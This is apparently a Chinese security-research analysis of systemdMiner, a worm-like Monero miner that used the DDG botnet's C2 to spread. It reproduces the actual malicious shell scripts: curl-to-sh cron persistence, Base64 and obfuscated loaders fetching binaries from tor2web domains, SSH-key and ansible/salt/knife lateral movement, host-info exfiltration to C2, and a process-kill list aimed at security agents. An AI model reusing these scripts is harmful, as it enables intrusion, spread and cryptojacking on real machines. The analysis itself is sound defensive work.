systemdMiner 借鸡下蛋，通过 DDG 传播自身

1. 概述

在最近的关于 DDG.Mining.Botnet v3021/v3022 版本的 威胁快讯 一文中，我们提到了 DDG 最近在用的主 C2:

119.9.106.27    AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China


2019.4.19 日凌晨，我们发现 DDG 更新了其配置数据(CfgVer:23)和恶意 Shell 脚本 i.sh，在 i.sh 脚本的最后新增了一段陌生的 Shell 代码，这段 Shell 代码会在失陷主机下载一套全新的恶意程序，之后就会脱离 DDG 的基础设施而独立运行、传播，在执行的过程中还会杀掉 DDG 的进程、清除 DDG 的 cron 配置。这套全新的恶意程序在短暂的传播过后，DDG 的上述主 C2 随即下线停止服务。

鉴于这一套恶意程序的多个恶意组件均以 systemd-<XXX> 的形式命名，我们把它命名为 systemdMiner 。systemdMiner 的恶意程序具有蠕虫特性，会利用 3 种手段传播自身，在入侵失陷主机后，最终会下载基于 XMRig 改写的矿机程序来挖矿牟利。

在 DDG 上述主 C2 下线期间，DDG 僵尸网络并没有消失。得益于它自身的 P2P 网络结构、其他 2 个备用 C2 和自身的系统驻留机制，DDG 整个僵尸网络还依然存活，每天活跃的 P2P Nodes 有 3000+。

直到 4.25 凌晨，DDG 才上线了 2 个新的 C2，并把版本号升级到 v4000，恢复如初。配置数据版本为 CfgVer:25 。DDG v4000 最新的配置数据中还会下发指令，篡改 hosts 文件，屏蔽 systemdMiner 的一组 C2 Domain。DDG v4000 的 2 个新 C2:

109.237.25.145    AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C
104.128.230.16    AS62217|VooServers_Ltd|United States|New York


systemdMiner 在 C2 基础设施、网络结构、恶意代码技术细节、传播方式、矿机程序等诸多方面与 DDG 完全不同：

 * DDG 的基础设施由 1 个主 C2 IP 和 2~3 个备用 C2 IP 构成，而 systemdMiner 的基础设施是架设在暗网并通过类似 tor2web 的服务映射到公网的一组 C2 Domain 以及矿池(Or Proxy) IP；
 * DDG 当前的网络结构是一个非典型的 P2P 网络结构——一组 C2 IP 和典型 P2P 网络结构相结合，而 systemdMiner 的网络结构则是传统的 C/S 结构；
 * DDG 的主样本由 Go 语言编写，从诞生至今始终如此，配合一个恶意 Shell 脚本 i.sh 来运行，而 systemdMiner 的主样本都是 C 语言编写，除此之外，二者的主样本在主要功能、实现方式等代码细节方面也完全不同；
 * DDG 目前的二进制样本都加了标准 UPX 壳，而 systemdMiner 的二进制样本加的壳都是变形 UPX 壳，没有很直观的 UPX 特征；
 * DDG 的传播方式主要是利用 SSH 弱口令和 Redis 未授权访问漏洞来传播，systemdMiner 则有 3 中完全不同的传播手段；
 * DDG 的矿机程序由 XMRig 直接编译而来，没有加壳，XMR Wallet 就硬编码在矿机程序中，sysmtedMiner 的矿机程序对 XMRig 源码做了明显改动，加了变形 UPX 壳，还没有暴露 XMR Wallet。

基于以上原因，我们认为是 systemdMiner 的团伙入侵了 DDG 的主 C2，并通过 DDG 的基础设施下发了自己的一套恶意程序，我们把这种黑吃黑的行为形容为借鸡下蛋。

systemdMiner 的 3 种传播手段：

 1. 利用 YARN 未授权访问漏洞入侵主机；
 2. 利用 *nix 自动化运维工具(salt/ansible/chef-knife)横向传播；
 3. 利用失陷主机本地保存的 SSH 密钥传播自身。

systemdMiner 这一套恶意程序，涉及的多个二进制程序和 Shell 脚本，下文会一一剖析。各程序简介：

 * systemd-login-ddg: 主样本，设置定时任务，横向传播以及 Download 其他样本并执行；
 * ddgs.i686: 同上；
 * ddgs.x86_64: 同上；
 * systemd-login: 同上；
 * systemd-login-h: 同上；
 * cron.sh: 定时任务执行脚本，定期下载主样本并执行；
 * systemd.sh: 更新主样本和矿机程序；
 * systemd-resolve: 集成 YARN 未授权访问漏洞来横向传播；
 * systemd-analyze: 矿机程序。

systemdMiner 真正的 C2 服务器架设在暗网中，并通过一组类似 tor2web 的服务映射到公网，来与恶意样本通信。通过 DNSMon 查看 systemdMiner 的几个 C2 Domain 最近的访问趋势如下：


2. DDG “下的蛋”——最后的配置数据和 Shell 脚本

DDG 最新的配置数据：

{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n0.0.0.0 w.3ei.xyz\n0.0.0.0 aptgetgxqs3secda.onion.ly\n0.0.0.0 aptgetgxqs3secda.onion.pet\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\n0.0.0.0 aptgetgxqs3secda.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\n" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}


最后下发的 i.sh 脚本：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root


mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root


cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep betsbce || rm -rf betsbce
if [ ! -f "betsbce" ]; then

    curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce
fi
chmod +x betsbce
$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce

ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9

echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash


其实类似上述 i.sh 的 Shell 脚本文件在 4.19 日凌晨下发了多个，它们的主要区别是最后下载的 ddgs 样本另存为的文件名不同。注意 i.sh 脚本最后一段 Base64 编码过的字串，解码后是另外一段独立的 Shell 脚本：

exec &>/dev/null
sed -i '/rapid/d' /etc/hosts
sed -i '/aptge/d' /etc/hosts

d() {
    x=/systemd-login-ddg
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 5
}

if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.ly
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.pet
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net
fi


这段 Shell 脚本，首先检查 /tmp/.X1M-unix 文件里的进程号对应的进程是否存活，文件不存在或者进程不存活则尝试通过以下 URL 下载 systemd-login-ddg 文件并执行：

aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg
aptgetgxqs3secda.onion.in.net/systemd-login-ddg


除此之外， i.sh 脚本中，以前 DDG 样本的下载 URL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) 下到的文件也被替换成 systemdMiner 相关的恶意程序。

这样一来，就可以通过 DDG 的这一波更新，下发 3 个 systemdMiner 的恶意程序：

 1. systemd-login-ddg
 2. ddgs.i686
 3. ddgs.x86_64


3. systemdMiner 系列样本分析


3.1 systemd-login-ddg

systemd-login-ddg 是 systemdMiner 团伙通过 DDG 的网络基础设施下发的一个最主要的恶意程序，另外两个同时下发的 ddgs.i686 和 ddsg.x86_64 都是 systemd-login-ddg 的变种。顺着 systemd-login-ddg 的执行，后续还会涉及两个恶意程序，都是 systemd-login-ddg 的变种，区别在于部分 C2 Domain 设定不同，这些同类恶意程序有：

 * systemd-login
 * systemd-login-h

systemdMiner 相关的所有二进制样本，都由 musl-libc 编译而成。并且都用变形的 UPX 加了壳，壳代码改动很多，变形 UPX 壳的 Magic Number 为 0x7373622E(ASCII String: .bss ) ：

脱壳后，恶意程序在刚开始就会检查 LD_PRELOAD 和 PTRACE_TRACEME ，用来对抗针对性地调试和沙箱：

然后，systemd-login-ddg 会删除自身文件，创建守护进程并把进程号写入 /tmp/.X1M-unix 文件，进程名为 -bash：

接下来，systemd-login-ddg 会把下面的脚本保存到 /tmp/systemd 文件中：

#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash


上述脚本中的编码字串解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash


如果当前用户是 root ，样本还会探测 /lib/systemd/ 目录，并执行命令 cp -f /tmp/systemd /lib/systemd/systemd-login，用于开机启动。

然后，执行命令 mv -f /tmp/systemd ~/.systemd-login 把 systemd 文件移动到用户主目录并隐藏。

上面用来开机启动执行的脚本文件 /lib/systemd/systemd-login ，会从 C2 服务器下载 cron.sh 文件并执行。cron.sh 是经过高度混淆的 Shell 脚本，原始内容如下：

"${@%4}"$'\145v'${*%%5}al "$(rK=(\& \ ${*,,} l H \|${*//t5/&W} h n"${@//ar}" s \+${*##\(%} \!${!*} M${*^^} \. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q \-${*#uo} \(${*,} \=${*##+C} \; O${*%JK} U"${@~}" 2$* \<${*%%3} y \} \:${@//_o/F} u e"${@}" r \/ L \{ o i k S"${@//Ao/W}" m f${@/s\`/\]} v${@%0$} A $'\xa'${*/Xr/>} \$${*/&T} b t"${@^^}" P x \) X p${*/u} d \>)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\} 54 32 43 34${*/^\{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j\!} 6 30 34${*%Oe} 7 47 38 6${*/P\}/\)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_\}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##\`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\`\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\}} 7 28 7 48${*##\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46"${@,,}" 28 1 4 4${*%g8} 1$@ 12"${@%%%S}" 31"${@}" 33"${@##6^}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z/\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11"${@//?\(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&F}" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\}#} 6${*//\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@/\}\}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${!@} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\} 53 48 18$@ 32${@#\\} 48 18${@/9} 50 19 7${*#\`c} 15 7 32 12${*^} 54${@%\]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45"${@~~}";do pr${*//<}i$'\x6e'\tf %s "${rK[$JS]}""${@/#}";done;)"


解混淆后的真面目：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login
    y=/tmp/systemd
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

if ! ps -p $(< /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io
fi


最后，systemd-login-ddg 会继续执行一系列经过 Base64 编码的 Shell 脚本。

3.1.1 Shell 脚本一：上报 C2，利用自动化运维工具传播

原始脚本经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

xssh() {
    ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
}

s1() {
    x=/slave
    y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))
    wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x
}

s2() {
    x=/systemd-resolve
    y=/tmp/systemd-resolve
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

s3() {
    if [ -x $(command -v ansible) ]; then
        ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -x $(command -v salt) ]; then
        salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -x $(command -v knife) ]; then
        knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then
        hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
        for h in $hosts;do xssh root $h; xssh $USER $h & done
    fi
}

s1 rapid7cpfqnwxodo.tor2web.fyi
s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net
s3


该脚本共有 3 个关键函数，作用分别是：

 1. s1() : 向 rapid7cpfqnwxodo.tor2web.fyi/slave 上报失陷主机信息。把失陷主机的当前用户名、CPU 架构、主机名以及当前用户的 cron table 4 组信息，拼接接成一个字符串，经过 Base64 编码后，设置为 HTTP 请求的 referer vaule，以 HTTP GET 请求的方式发送到 C2；
 2. s2(): 从 C2 下载 systemd-resolve 文件并执行，system-resolve 集成了 YARN 未授权访问漏洞的 Exp，并以此传播；
 3. s3(): 利用 3 种 *nix 自动化运维工具 (ansible/salt/chef-knife) 和本机 SSH 密钥横向传播。横向传播用到的 Shell 脚本也经过了 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

c() {
    x=/systemd-login
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 4
}

if ! ps -p $(cat /tmp/.X1M-unix); then
    c rapid7cpfqnwxodo.tor2web.fyi || c rapid7cpfqnwxodo.onion.in.net
fi

3.1.2 Shell 脚本二：设定 cron 任务

原始脚本同样经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

c() {
    if [ -x $(command -v crontab) ]; then
        if [ $(crontab -l |grep REDIS00) ]; then
            crontab -r
        fi
        if ((!EUID)); then
            if [ ! -f "/etc/cron.d/systemd" ]; then
                echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd
            fi
            if [ ! $(crontab -l |grep systemd-login) ]; then
                (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
            fi
        else
            if [ ! $(crontab -l |grep systemd-login) ]; then
                (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
            fi
        fi
    fi
}

c


该脚本的主要功能，是新建 cron 配置文件 /etc/cron.d/systemd，然后把 systemd-login-ddg 样本中落地的 /lib/systemd/systemd-login 脚本在该 cron 配置文件中设定 cron 任务。最后清除掉当前用户 cron table 中的 wget 和 curl 命令，以此清除竞争对手的计划任务。

3.1.3 Shell 脚本三：杀掉竞争对手

原始脚本同样经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0"

find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargs chattr -i
grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f
grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\|curl/d'
rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts


该脚本的功能就是清除各种竞争对手。

3.1.4 Shell 脚本四：下载矿机并执行

原始脚本经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-analyze
    y=/tmp/.systemd-analyze
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 6
}

if ! ps -p $(cat /tmp/.X11-lock); then
    d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net
fi


此脚本会从 rapid7cpfqnwxodo.tor2web.fyi 或 rapid7cpfqnwxodo.tor2web.fyi 下载 systemd-analyze 文件并执行。systemd-analyze 正是基于 XMRig 改写的矿机程序。

3.1.5 Shell 脚本五：更新样本和恶意Shell脚本

原始脚本经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 5
}

u() {
    x=/systemd.sh
    (wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash
}


if [ -f /tmp/.systemd-update ]; then
    kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update
    d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi
fi

u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi


systemd-login-ddg 会用此脚本检查样本更新标志文件 /tmp/.systemd-update ，据此来下载最新的 systemd-login 样本。随后会下载最新的恶意 Shell 脚本 systemd.sh 并执行。

接下来 systemd-login-ddg 还会执行第 6 个 Shell 脚本。第 6 个 Shell 脚本与第 5 个基本相同，不同点在于下载 systemd-login 样本的 C2 Domain 多了一个 rapid7cpfqnwxodo.tor2web.io 。


3.2. systemd-resolve

